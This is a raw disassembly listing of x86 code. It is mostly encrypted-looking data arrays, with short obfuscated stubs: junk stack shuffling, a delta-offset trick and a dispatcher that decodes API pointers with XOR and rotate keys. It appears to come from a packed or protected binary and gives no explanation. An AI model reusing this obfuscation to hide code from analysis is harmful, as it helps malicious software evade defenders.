		dd 5CC51292h, 12A00230h, 2CCE8A26h, 6D88A352h, 523160FAh
		dd 4037B5ACh, 0C7E38262h, 0BD2873ACh, 0D92BE891h, 5E8C19F3h
		dd 5105DCC7h, 0A200CF0Dh, 0A019AC0Eh, 6B867273h, 3Bh, 37A0B37Fh
		dd 0AAEDECA5h, 0FFA537B5h
		dd 0AA627E27h, 80062873h, 0E24ECCC4h, 0C202DF7Eh, 778C19FAh
		dd 9EDE71DDh, 4D4D3C46h, 3E2873B6h, 105578C0h, 30722208h
		dd 0D5A5F8h, 4A3D0000h,	0E00AD2A0h, 0C4A3E396h,	376D305Ch
		dd 0C4ACECA5h, 3E64305Ch, 0D57854A8h, 27FF7D91h, 9B370F9Dh
		dd 0A13F0771h, 0F554E014h, 4914B83h, 0AF45CD50h, 4175BD18h
		dd 5D24C9ABh, 305BEE73h, 34B9BB51h, 3C007298h, 0CF59CE69h
		dd 0B4CD03D2h, 0C7763337h, 0A536DC9Eh, 88A352E0h, 3160FA6Dh
		dd 2FC770E2h, 2A50E4D0h, 0B75A0294h, 698C28C5h,	9A6E1325h
		dd 7F4A9F04h, 39B046D4h, 3C35DEA7h, 0B00B78Fh, 5B000003h
		dd 832DC0B0h, 34600D6Fh, 7BD55822h, 0A804A92Bh,	0EE7EF785h
		dd 0B0C46949h, 282933Dh, 4E2EC173h, 95E775A7h, 762B7718h
		dd 286C5B36h, 78FEACDEh, 0C4F3B3EEh, 871D305Ch,	0C4FCBCF5h
		dd 8E14305Ch, 0AFE376A2h, 942EF676h, 2FCD6F06h,	7862A04Dh
		dd 0C4F3B3EEh, 871D305Ch, 0EC7BF6ABh, 0ABA8275Ah, 0B4EE37B5h
		dd 0AB1DB968h, 3FC32873h, 0FA837D9Eh, 0D7E38C19h, 0C7000000h
		dd 0ED6A04Ah, 0D7CAAF42h, 9FC664C9h, 0D92237D7h, 3C0E3B4Ch
		dd 85EE1169h, 71079554h, 0BACAF4ADh, 21BC305Ch,	7F4A03C7h
		dd 8B2F0B1Ah, 5E0C2161h, 0A137C547h, 0E88AA00Ch, 41D64114h
		dd 60B11DB7h, 0B68200DCh, 0B4B408D7h, 0F9742E37h, 0FB2A8BA6h
		dd 891FA579h, 34B666FFh, 195E1F63h, 15DD9FBDh, 0E7681E93h
		dd 5E442FC6h, 8FED00CCh, 0C5DC78E6h, 0DE5FF47h,	79F084A9h
		dd 3C3514FDh, 0F5609C5h, 47000002h, 8F29C4B4h, 309C116Bh
		dd 67D15C1Eh, 9400AD2Fh, 0E27AFB81h, 0B4C05545h, 6869F39h
		dd 522ACD6Fh, 99DB71A3h, 7A377314h, 286C5A3Ah, 4AC2A0DAh
		dd 2A4EE3A7h, 5CC53777h, 35CBD930h, 88A20EA7h, 7FE747EEh
		dd 415FA7D9h, 5CC55050h, 4CE2C030h, 0A04A26E4h,	4BC946D1h
		dd 0EB79E8EFh, 4FA0C451h, 3798E1B5h, 5C633A7Ah,	3AC8DA30h
		dd 416A2FEh, 0A2EBB77Dh, 42D00A42h, 89EB01B3h, 0D1922BB5h
		dd 1ED246CFh, 5D4BD347h, 234C13C8h, 881F1AD7h, 2EC883FEh
		dd 0B4EE37B5h, 68113768h, 51DC9EBCh, 0F284131Eh, 6ABAC46Ah
		dd 7C169058h, 75F1A0E1h, 0A28E03BCh, 0CBC5C0A3h, 70CCD62Fh
		dd 3749EE76h, 433DDFFBh, 9B42D6E3h, 5CB5C25Bh, 275333BAh
		dd 8C1B16CBh, 0FCDC63FAh, 57B041D9h, 8A5B5A5Ah,	5AE8BA20h
		dd 0F699089Eh, 6627E334h, 0D824A6FEh, 20826ECAh, 6F09238Dh
		dd 0A32171DDh, 98BF1B57h, 9FEB1CE0h, 0C7B55905h, 0A134D2D2h
		dd 88604218h, 0E903C564h, 4C2CC38Bh, 0FFBFF2F0h, 1118A134h
		dd 0E36BFD93h, 3C7C35B3h, 0D418A135h, 799C38CEh, 0F7AA3703h
		dd 2859F364h, 1FFA2D2Dh, 0B9C71F85h, 0A07CF81Dh, 0AB7B0114h
		dd 0BAF8B19h, 584F97E1h, 8FAA9534h, 92720C2Eh, 0B9E88210h
		dd 181124BEh, 0A707AEF4h, 2514940Dh, 0A6FC08CFh, 1384974Ah
		dd 773BDD79h, 3B0B99E3h, 2A6741A9h, 10BFCC0Dh, 17A38321h
		dd 57E17B05h, 0CCC4C4BDh, 564C00DEh, 0DECD6323h, 3BF7AD00h
		dd 0E39E28B6h, 0DECCA3h, 0DFFB376Dh, 2E3433Dh, 0F3B0261Fh
		dd 0B1731A3Eh, 314BEF9Bh, 27F09A3h, 0ED912782h,	0BF081792h
		dd 1FD31D0Dh, 282FF89h,	12ED9118h, 0FB555890h, 0C1DF2751h
		dd 0B78F0D05h, 0C1D1C52Dh, 888CE343h, 5D1527E1h, 6461BDBFh
		dd 0C2A20BF5h, 2CC250FCh, 7B051781h, 1434ABh, 0D06A0000h
		dd 9126E1A1h, 0B97133EDh, 0C5DC780Bh, 0DE5FF47h, 0A14AD1B7h
		dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh
		dd 356D69B5h, 0CD636FB7h, 0D36753B3h
		db 0A9h, 55h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	3C88h
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	7F05A0Eh
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		xor	dword ptr [esp], 45ED7630h
		pop	dword ptr [ebp+8]
		xor	dword ptr [ebp+8], 45ED7630h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dw 8E3Dh
		dd 0C1D82A26h, 0F06D41B8h, 0FFC50307h, 8FE2BBE0h, 5BD85238h
		dd 0D9D33C0Eh, 128452Ah, 15C8200Dh, 2654CD0Ch, 3771F138h
		dd 8EAEC208h, 78E1DE63h, 452D3E65h, 7D93A022h, 4B071E10h
		dd 6314C771h, 8FDBF54Bh, 24E51D70h, 81A0D031h, 0C06950h
		dd 20964252h, 6E67D86Bh, 0F68D8D54h, 6A07F06Eh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0EFDCC351h, 15890FA2h, 0E8000000h, 9, 1BE13AEFh, 0BBFB2023h
		dd 0E5858B2Fh, 5807E921h, 320D8D89h, 6A07E9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 14DD77C3h
		dd 0C7C28B4Eh, 0E922E585h, 635007h, 0B589F500h,	7E919A9h
		dd 22B185C7h, 7E9h, 9D330000h, 7E91515h, 2979B5FFh, 13E907E9h
		dd 8C000000h, 0D066FFF6h, 0F5FC7D8h, 0C5ACAF15h, 3D6D0382h
		dd 95FFA004h, 7E92285h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 3FC35747h, 8B65AB2Bh,	0E9080D9Dh, 0FF006A07h
		dd 0E90C3195h, 0EBC08B07h, 43E44F5Dh, 1DBBF144h, 3E1D2306h
		dd 0AEE61765h, 0C8144765h, 809F8395h, 218B42FAh, 93348B07h
		dd 7DF66AD7h, 0D07D9EB8h, 36B86509h, 0F09C4245h, 0C028F70Dh
		dd 5E2A34D4h, 0E23F9840h, 180A92A0h, 34A819D7h,	92BFAA5Eh
		dd 2291E05Fh, 1CEA9C7Ch, 0D2BBE0E9h, 9137F2EAh,	839D4F4Fh
		dd 0AE81E27h, 0BD000000h, 0CC7F33FEh, 9FA65F28h, 2BD9818Dh
		dd 5B1C0D77h, 49B533h, 0C38107E9h, 5D8Dh, 0FEB8D3B2h, 81599A4Bh
		dd 65CB33C0h, 68A0FA6h,	31000000h, 0E907DD8Dh, 663B8B07h
		dd 4EC5CA81h, 0A398EF81h, 858915B5h, 7E917BDh, 0C4C5F781h
		dd 65BA5CA6h, 8162349Bh, 0D04E26EFh, 0C88B5059h, 0EE95759h
		dd 0D3000000h, 0EA2512D2h, 43A380Bh, 0A477B0B7h, 66038F50h
		dd 0FEDDE281h, 6603EB83h, 0CBCDE681h, 0C1B58B4Bh, 4807E91Bh
		dd 29850Fh, 0EE90000h, 1C000000h, 0AF88CFF6h, 0B7A84299h
		dd 0E34551F4h, 26E9F1h,	75BE0000h, 0D93880EDh, 51B6BF6Eh
		dd 26094397h, 0E940B3A3h, 0FFFFFF79h, 0ADC4B5F4h, 2F4EDD01h
		dd 4AA02A9Eh, 0B0BCEE26h, 15FE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_5FADE9	proc near		; CODE XREF: sub_4068E0+12Cp
					; sub_409CA0+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7F07038h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5FAF3F
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 8793D91Ah
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+7E9320Dh],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0CB306396h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+7E922E5h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+7E922B1h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5FAF03
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E91FF5h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E9245Dh]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E92979h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E92045h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E929A5h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E91E05h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E91F55h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E912D1h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E90E1Dh]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E9170Dh]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E93151h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E90F11h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E91A89h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E91735h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E92C6Dh]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E92279h]
		jmp	loc_5FAF17
; ---------------------------------------------------------------------------


loc_5FAF03:				; CODE XREF: sub_5FADE9+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+7F07099h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5FAF17:				; CODE XREF: sub_5FADE9+70j
					; sub_5FADE9+7Bj ...
		call	dword ptr [ebp+7E92285h]
		pop	ebx


loc_5FAF1E:				; CODE XREF: sub_5FADE9+14Ej
		mov	eax, [ebp+7E9320Dh]
		cmp	[eax+4], ebx
		jnz	loc_5FAF3C
		push	ebx
		push	1
		call	dword ptr [ebp+7E90C31h]
		pop	ebx
		jmp	loc_5FAF1E
; ---------------------------------------------------------------------------


loc_5FAF3C:				; CODE XREF: sub_5FADE9+13Ej
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5FAF3F:				; CODE XREF: sub_5FADE9+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5FADE9	endp

; ---------------------------------------------------------------------------
		dd 0AD5858Bh, 8D8D07E9h, 7F07187h, 8B014189h, 5985C6C3h
		dd 5607E926h, 0C530DF68h, 11B5FFA9h, 8D07E90Bh,	0EC9FDB85h
		dd 8DD0FF07h, 0E92B298Dh, 406A5107h, 93DB5FFh, 0B5FF07E9h
		dd 7E91BADh, 0B5FFD0FFh, 7E9093Dh, 1BADB5FFh, 0EE807E9h
		dd 0BE000000h, 0E0C22B18h, 476F9EDAh, 925069DEh, 835E5E9Ah
		dd 2CC104EEh, 24C10224h, 34030224h, 241CF724h, 0BAh, 3234FF00h
		dd 49F3815Bh, 8125BA9Fh, 2A0773C3h, 0A9F3812Fh,	8901781Bh
		dd 0EA83161Ch, 24143B04h, 0F850Fh, 17E90000h, 3D000000h
		dd 2EC1B25Ch, 1A07FADFh, 0FFC7E9C5h, 6898FFFFh,	0E40EE9D2h
		dd 9D8D3C10h, 7E92089h,	0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh
		dd 0E8C98B18h, 0Ah, 5D933AF1h, 4DF57707h, 0CE8ECC3h, 79000000h
		dd 0C0E7AF96h, 826DA65Dh, 66468A1Bh, 2707F281h,	5A565B5Ah
		dd 5B14C381h, 0DA810000h, 4DDFB0CCh, 48BC92Bh, 0C081F80Bh
		dd 718E194Ch, 18E0Fh, 81F90000h, 7120BDC0h, 3FC08112h
		dd 8A68E76Fh, 0B96050F7h, 41212EB1h, 0B048F61h,	0E43FC9BAh
		dd 5820F61h, 0BF000000h, 764C15B9h, 8104E983h, 0FFA584F9h
		dd 0C850FFFh, 0B6000000h, 1AE93Eh, 9790000h, 6688C04Ch
		dd 0A3E9FE8Bh, 0D9FFFFFFh, 0B02D37FEh, 0F372370Dh, 705CDB7Eh
		dd 73FD8D8Dh, 6A07F0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 75D93C3h, 0C34DF577h, 320D8D89h
		dd 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0CA4382C3h, 89CA0D95h, 0E92CB18Dh, 0E585C707h
		dd 2007E922h, 6A00005Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0AA0AC352h,	0CFFAD7A3h
		dd 29BFCE4Ch, 0E92619BDh, 0B185C707h, 7E922h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 8AEFC352h, 0F533DE2h, 789h, 76BB6000h, 6136E084h
		dd 2C6DB5FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0D43FBC3h, 5A401018h, 228595FFh
		dd 9D8907E9h, 7E90B05h,	95FF006Ah, 7E90C31h, 79EBC08Bh
		dd 191996CBh, 47A2F54Ah, 7D3FD91Bh, 1C15EAC7h, 0F3D6602h
		dd 0C0976803h, 5196D32Dh, 2DEA8F77h, 3E187B25h,	0F566CA3Ah
		dd 144EE076h, 0B2C684A1h, 63F6E873h, 0DB42AAh, 31602897h
		dd 569E0345h, 3EE9A20Fh, 8476F119h, 53D5691Dh, 0B18C8F49h
		dd 587B650Ah, 24734ED9h, 0CCB2C91Dh, 910F1B0Dh,	158DB7B7h
		dd 62D885A5h, 42112224h, 78C933F0h, 0D32B87B3h,	7C5DE694h
		dd 19E9A1h, 0D9330000h,	58Eh, 4	dup(0)
		dd 0E9000000h, 4CCh, 0F075F468h, 71CE907h, 7768FFF9h, 0E907F076h
		dd 0FFF90712h, 0F077A968h, 708E907h, 65F6FFF9h,	1A3E9A1Bh
		dd 0CD63CD60h, 7E9602B3h, 32C771FCh, 0F435AB4Ah, 6A0B7184h
		dd 0D855D7CEh, 0CA1DB7Ch, 45E88AA0h, 8B0B8620h,	85286C51h
		dd 0A74A1177h, 0E67F09D5h, 297542A0h, 4D2FCD47h, 955DF3F1h
		dd 0DF690B21h, 3A9FE077h, 7CFCE373h, 0CED428BEh, 29C49F62h
		dd 0EE752CBEh, 0A437B52Dh, 637F26FEh, 1928732Eh, 3D8754F5h
		dd 0F28C1A77h, 33CF655Bh, 73A43E7Eh, 39CCD628h,	0E44CDDC6h
		dd 2F649h, 0B93F1900h, 1BAD3A35h, 0B59F7366h, 0A5614337h
		dd 4D38390Ch, 0BA2DC805h, 11CE7120h, 5E443267h,	8DEF00CCh
		dd 0F62034B1h, 914783F5h, 26FB3703h, 1E3C980Bh,	0B36D2D5Ch
		dd 245D2325h, 2325B364h, 49EF6ACh, 824AE476h, 20601193h
		dd 382325B3h, 752F6715h, 7912BBDh, 25B30A8Ah, 50980A23h
		dd 7E77D9B1h, 1A97212Ah, 1B3C779Ah, 791D2F7Ah, 0AD30820h
		dd 5C33E174h, 0ECE8FE06h, 0B04A5804h, 0E19BBE26h, 0FAB871Dh
		dd 84E293EDh, 0E84032D8h, 0BD482ECCh, 8D7794E2h, 9212875Bh
		dd 821B3CC1h, 0C12D6D24h, 0BDE71B3Ch, 7810992Fh, 426C0F6h
		dd 2C997C8h, 9DBE0000h,	52E652E3h, 52B8528h, 465EFA7Bh
		dd 6A8F29C4h, 2C0D6312h, 22D3A94Ch, 901D9FF6h, 0C4691324h
		dd 3DB0C268h, 53534E58h, 0BD286C50h, 0A0B3D98Fh, 6ABBEF01h
		dd 34C654EAh, 4D4FBD7Dh, 0BB4D5738h, 0F77EFE13h, 78C4B045h
		dd 739ED76Eh, 77CFB146h, 9CFD86Dh, 36BC61D0h, 7D13933Fh
		dd 59F7D4B5h, 59F3286Ch, 5A26661Bh, 9D14286Ch, 286C5A1Dh
		dd 0C3E1ADF7h, 99D6842Dh, 6EE63410h, 24679h, 5E1E3D00h
		dd 0ABD165D7h, 0F688AE0Ah, 47C5DD7Fh, 8DEF02AEh, 0C3AF88E0h
		dd 75A74E2Eh, 0BB15981Ch, 0EF49E494h, 0DD82334Dh, 4ED0D0C1h
		dd 0A40286Ch, 37A0B354h, 4F2CECA5h, 0BEE4384Dh,	5023BF66h
		dd 35D9286Ch, 0D9C86294h, 286C4FD9h, 281693Bh, 8C2150C2h
		dd 1663Ch, 0A04A8600h, 0A8420ED6h, 0E10C27CEh, 0D578E476h
		dd 0C35D4BA7h, 0AB87F11Bh, 0B5ABBBDAh, 75C9DB37h, 73AC308Ch
		dd 8128D428h, 19F57050h, 4B8E8Ch, 0B3D40000h, 0ECA537A0h
		dd 37B5AAEDh, 0D06DFFA5h, 436301AAh, 63894DB2h,	7BB7CD11h
		dd 79627E27h, 0F51A2873h, 0F91FBB8Bh, 4448BF87h, 61ED55A5h
		dd 2CA91BB8h, 0F78E8C1Ah, 0AEE72AFFh, 9AAA9F2Eh, 0A761BC74h
		dd 65000000h, 0CA2656F9h, 0D6A04AF8h, 0B7F7AA44h, 91305CC4h
		dd 0A220FC80h, 6B26B0F2h, 305CC52Bh, 3F73BFE5h,	26FE7E93h
		dd 2AC080AAh, 0A420BA48h, 0EF03EF6Dh, 862F49E3h, 5CBF81FFh
		dd 2B55E730h, 54203591h, 0B33EFA88h, 50EA7DF8h,	0B0EBC821h
		dd 2EB8EA37h, 44E993A6h, 0BA3745E8h, 340B28EEh,	14497EF6h
		dd 0E3000001h, 2B852848h, 5CF87507h, 832DC0BAh,	309C1193h
		dd 46D65F1Dh, 185CF1E1h, 6AEA3B95h, 0B6C669CBh,	0FD7F9D3Fh
		dd 1E930F70h, 286C4D9Eh, 4A664476h, 0FC58D5A7h,	15911C5Eh
		dd 0C586067Bh, 148E305Ch, 0A04AEEDCh, 0A8420ED6h, 7A903CCEh
		dd 529E24F8h, 8A19144Fh, 5CC49717h, 952B7930h, 0A2DF6903h
		dd 305CC4E2h, 0C9B87032h, 37B2780Fh, 0E975079Dh, 0C6BD3044h
		dd 287376EAh, 670E6882h, 0CF622035h, 0BD5351ADh, 894E61h
		dd 78900000h, 0C4F3B3EEh, 871D305Ch, 0EC7BF6ABh, 500B275Ah
		dd 7F25384Dh, 77012BA7h, 0BEB852FEh, 0AFC7BF66h, 76202AEEh
		dd 0AFE5A5DCh, 53E725EDh, 0C7CFD529h, 0A6D679DDh, 4D87264Ah
		dd 1254FBAFh, 21A383FDh, 0A431B393h, 841B9FF2h,	6D009611h
		dd 0D77929C3h, 0B54B59A5h, 0B7356D69h, 7514386Fh, 4DDF99B3h
		dd 21096B81h, 98DA70DCh, 0F1A03A44h, 25ECF9B1h,	0D6E94163h
		dd 0Fh,	0C5DC7868h, 57D1EB47h, 33136D8Fh, 4A4B79B1h, 430FD7A1h
		dd 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h
		dd 636FB735h, 6753B3CDh, 5E55A9D3h, 592C68h, 24148900h
		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68243489h, 508Ah
		dd 57240489h, 766D53BFh, 0C1D7F75Ah, 0F78108E7h, 302D68B9h
		dd 0B005F781h, 0FE89BE4Fh, 83243C8Bh, 0EC8304C4h, 24248904h
		dd 4240483h, 0B9515658h, 5A05544Ah, 4244C01h, 8408F59h
		dd 4A086881h, 8B5A0554h, 89532404h, 4C381E3h, 83000000h
		dd 1C8704C3h, 34FF5C24h, 0C4815E24h, 4,	0F9025DE9h, 0BAA22FFh
		dd 0F078E2B8h, 0FFC50307h, 0F14320E0h, 80E57C01h, 0ACB79A4Dh
		dd 0D81CDB38h, 0C012F825h, 0DF163767h, 9489F748h, 84CC724Ch
		dd 0D1FCB34Bh, 0A573013Ch, 0CBF76B65h, 578E26Bh, 0BECB545Dh
		dd 0B469DC04h, 2E28650Eh, 4695DD64h, 0E37ACA31h, 9E386F15h
		dd 3BD5F308h, 45F7C55Fh, 0EB076F3Ch, 1E2C447h, 6A9A9F5Bh
		dd 506DDB6Ch, 0F5658F5Eh, 72088E0Ch, 88C3E023h,	0D22FF61Fh
		dd 29B0EB3Ch, 0C9352F1Eh, 5E13755Eh, 12E807h, 1C6F0000h
		dd 0C702EF3Ch, 10129E9h, 0F2A1FAA9h, 26B4BFFCh,	168C0Fh
		dd 10E80000h, 0BC000000h, 0E309263Fh, 9C4DC455h, 61C232C5h
		dd 5EE85B81h, 0E9606059h, 13h, 0AE68F4B0h, 0A154DD37h
		dd 87342F44h, 6E785ED2h, 6639E128h, 61320BB9h, 8E9h, 5C282300h
		dd 0F7B41ECFh, 0C1816149h, 73CBh, 8830Fh, 8C0F0000h, 2
		dd 0BB98B2h, 8B000000h,	0B34FFC3h, 8113B45Fh, 239ACAC7h
		dd 0E9806055h, 0B4EA81E2h, 610BE46Fh, 98CFF781h, 81F9482Ah
		dd 225A1CF7h, 57F18B22h, 62C98BBAh, 19048F2Dh, 8BF38B66h
		dd 2EB83D3h, 11E9h, 18C91300h, 0F902214Ch, 748BC744h, 0B43798Ah
		dd 4B4B0E13h, 61606052h, 0DE8h,	0FAE3B800h, 1DD30243h
		dd 0D450BB6Eh, 615A62C4h, 20FB8158h, 0FFFFF8Dh,	0FFFF8C85h
		dd 65BE66FFh, 6E8BAh, 0BAFB0000h, 31B1F5D3h, 2B3DFEBEh
		dd 0DF80586Eh, 29C08122h, 0E9000068h, 5, 25843EDAh, 830ABA2Ch
		dd 0C2816CC4h, 933B96D4h, 0EE9h, 75B32600h, 8D595BC0h
		dd 1312A8F7h, 0FFB71FA7h, 12E830h, 49F80000h, 7D596BB6h
		dd 334212F1h, 0EAEE2C03h, 0E5042086h, 12CDEB81h, 5F5B7DD2h
		dd 38BB6656h, 0F7815906h, 4E686244h, 6DC781F9h,	8164E6E8h
		dd 0CC3E66C1h, 28F78162h, 0B1516B48h, 0E9388997h, 0Ch
		dd 9D4F4F91h, 9C1E2783h, 8A10620Ch, 0C31EE881h,	0C88A4418h
		dd 0C31AC081h, 0EA814418h, 1, 0FF91850Fh, 8B0FFFFFh, 3
		dd 0E8CBB70Fh, 0Ah, 0D0945573h,	316F3806h, 0D681D33Ah
		dd 2365771Eh, 4FC18159h, 0B8000072h, 60B52791h,	0F4E8C081h
		dd 8BF99F4Ah, 8B3DBB11h, 0F2815F92h, 0C0C38FFh,	326951BBh
		dd 3AF28137h, 813651ECh, 7C48DFEBh, 91C28146h, 66668436h
		dd 52B878BBh, 0F018FF9h, 581h, 0C6816600h, 0E9832E6Dh
		dd 77C78004h, 1E881h, 850F0000h, 0FFFFFFB7h, 0E9DBB70Fh
		dd 13h,	109DD10Eh, 3 dup(0)
		dd 0E9000000h, 5C2h, 8A5D764h, 43F288ACh, 0B03D3FD1h, 0E78E0C04h
		dd 59D4A0B5h, 0E70A66C3h, 65BC1895h, 4DE24EE7h,	4168233h
		dd 892FB7Ah, 6C491999h,	0E3C1FB28h, 4339DC78h, 3840D7E3h
		dd 0BD48DEE4h, 4046F11h, 0FEDA16D9h, 0F6C2225Ch, 8FC51E63h
		dd 0BCE0F52h, 0BE5CF875h, 0E1902ABCh, 305C34A1h, 0A5F93173h
		dd 9010811Bh, 80305C34h, 48E2D622h, 1D309C2Eh, 35FD875Fh
		dd 8856EFF9h, 0F61B9D0Ah, 718531F9h, 7A9E3B0Bh,	79FB11D3h
		dd 9BD36AF4h, 0D74C7286h, 29CEEA46h, 0DD72DE57h, 0DA6022A4h
		dd 0B4BC49CBh, 9D14A6B1h, 305C3D1Dh, 0C71FADF7h, 0F52C9A8Bh
		dd 0B115AF77h, 7E04D89Ch, 9EF65EE8h, 6798D41Ch,	0EB0CB861h
		dd 0E8821C91h, 240A715Dh, 493848EEh, 305CB249h,	0A511D9CBh
		dd 6819E597h, 305CB24Dh, 906C082Dh, 94681224h, 0D410B9C7h
		dd 0DDE73FBDh, 0A34AAE4Fh, 30F38E76h, 5FE884h, 4AFA0000h
		dd 700ED6A0h, 0C4EBABE6h, 7F25305Ch, 0C4D0D2B3h, 43D5305Ch
		dd 0E087799Ah, 20AC8430h, 13916D0Fh, 0D8A27h, 61FC0000h
		dd 0E802057Eh, 0C949FF8Eh, 4A2D9F5Bh, 324CE2A6h, 0E242D0D2h
		dd 57574AE4h, 0B9305CC5h, 0B23263EBh, 0BCBE5246h, 0BE3C5460h
		dd 18C16B66h, 833248ECh, 0F479FB11h, 3ADC784Eh,	29CCE840h
		dd 33C7F353h, 0B925BF49h, 0F6B6EB69h, 1E305CC4h, 0BB70AC84h
		dd 0EF90A72Fh, 2B06573Fh, 41A93FFCh, 0A5487C1Dh, 58F25ED7h
		dd 648AC61Eh, 1D770A2Ch, 0D747F052h, 0DB2BB94Fh, 1DBE5FE3h
		dd 8430E593h, 9AD3h, 0A74AF700h, 46AA43D5h, 0D9D9C8EDh
		dd 3B305BD7h, 616FDC69h, 0A4E49D2Fh, 6C305C89h,	2AA6FA36h
		dd 64E07A04h, 6110AAD0h, 305C8A21h, 2579B1F3h, 2D64FEA8h
		dd 305C8A6Dh, 4968FDA7h, 8D7C5E56h, 0FAED21Eh, 0A94430C5h
		dd 0B292EA0Fh, 94BA0E06h, 0FE881AEAh, 5C680383h, 1970D30h
		dd 0FA7E913Dh, 5C680787h, 59B0930h, 27A9D39h, 96375922h
		dd 0A950FC64h, 31378868h, 3DE684h, 4AFC0000h, 4D09D5A7h
		dd 9C38D2AAh, 903C007Ah, 0A0220280h, 1F8A2612h,	7D9054F5h
		dd 4ACC76FFh, 9908D4A6h, 305CC53Eh, 8152FB1Dh, 8430E03Fh
		dd 7C6F59F4h, 21493132h, 194C9h, 4A2E0000h, 8440DAA4h
		dd 8F230F8Dh, 0C74F64F1h, 306A6E58h, 3C3EDCF8h,	3ABCD4E0h
		dd 5C514747h, 45DBC930h, 40C4DDF9h, 6E0F01FCh, 0CC6D938Ch
		dd 0E984F618h, 0A1ABBB6h, 9F2EB488h, 274450D1h,	17A13752h
		dd 0B5219F9Ah, 0DED36D37h, 287321DEh, 8A6183CFh, 0F2A2CE90h
		dd 389478B0h, 89A6AE8h,	0C2EAA7Ah, 0DAA4CF75h, 0B5110D01h
		dd 780ADAA2h, 43E94BEAh, 8318B636h, 0CB59765Fh,	67D06D7Bh
		dd 58B428E8h, 0D1D3B27Eh, 262873C1h, 0E36B8B32h, 8BF51B4Fh
		dd 5F9B29F5h, 0EA7D17Bh, 0EC3D0590h, 0BD81F319h, 0C7C99627h
		dd 97A511D9h, 0C8B953E5h, 287325C8h, 30C35A48h,	943E45E2h
		dd 2CA8C42Ch, 72DA6C0Eh, 1A56A2DCh, 6A9E3F41h, 8A3FB6C0h
		dd 8C1A4E3Ah, 12BB4h, 0E1902A00h, 287362A1h, 0CBF93173h
		dd 0A537A0B3h, 0E3CC720Bh, 0BD705C1h, 5C141696h, 16A4FE30h
		dd 0E96C2BDAh, 0FCAA37B4h, 72E90585h, 7950F28h,	0FF79933Fh
		dd 4630DA76h, 3E38D2FEh, 42EB15E6h, 6B0A7486h, 1ABBE6DEh
		dd 4A008Ch, 0B3A20000h,	19B2DBAh, 6DC5B745h, 5CC53C9Ch
		dd 3CCED4B0h, 21FD7F90h, 6A1B57A3h, 0B05CC52Ah,	722FB9EDh
		dd 0B05CC532h, 468C0E2h, 46C55A65h, 7AF828B4h, 0C4F1B1E0h
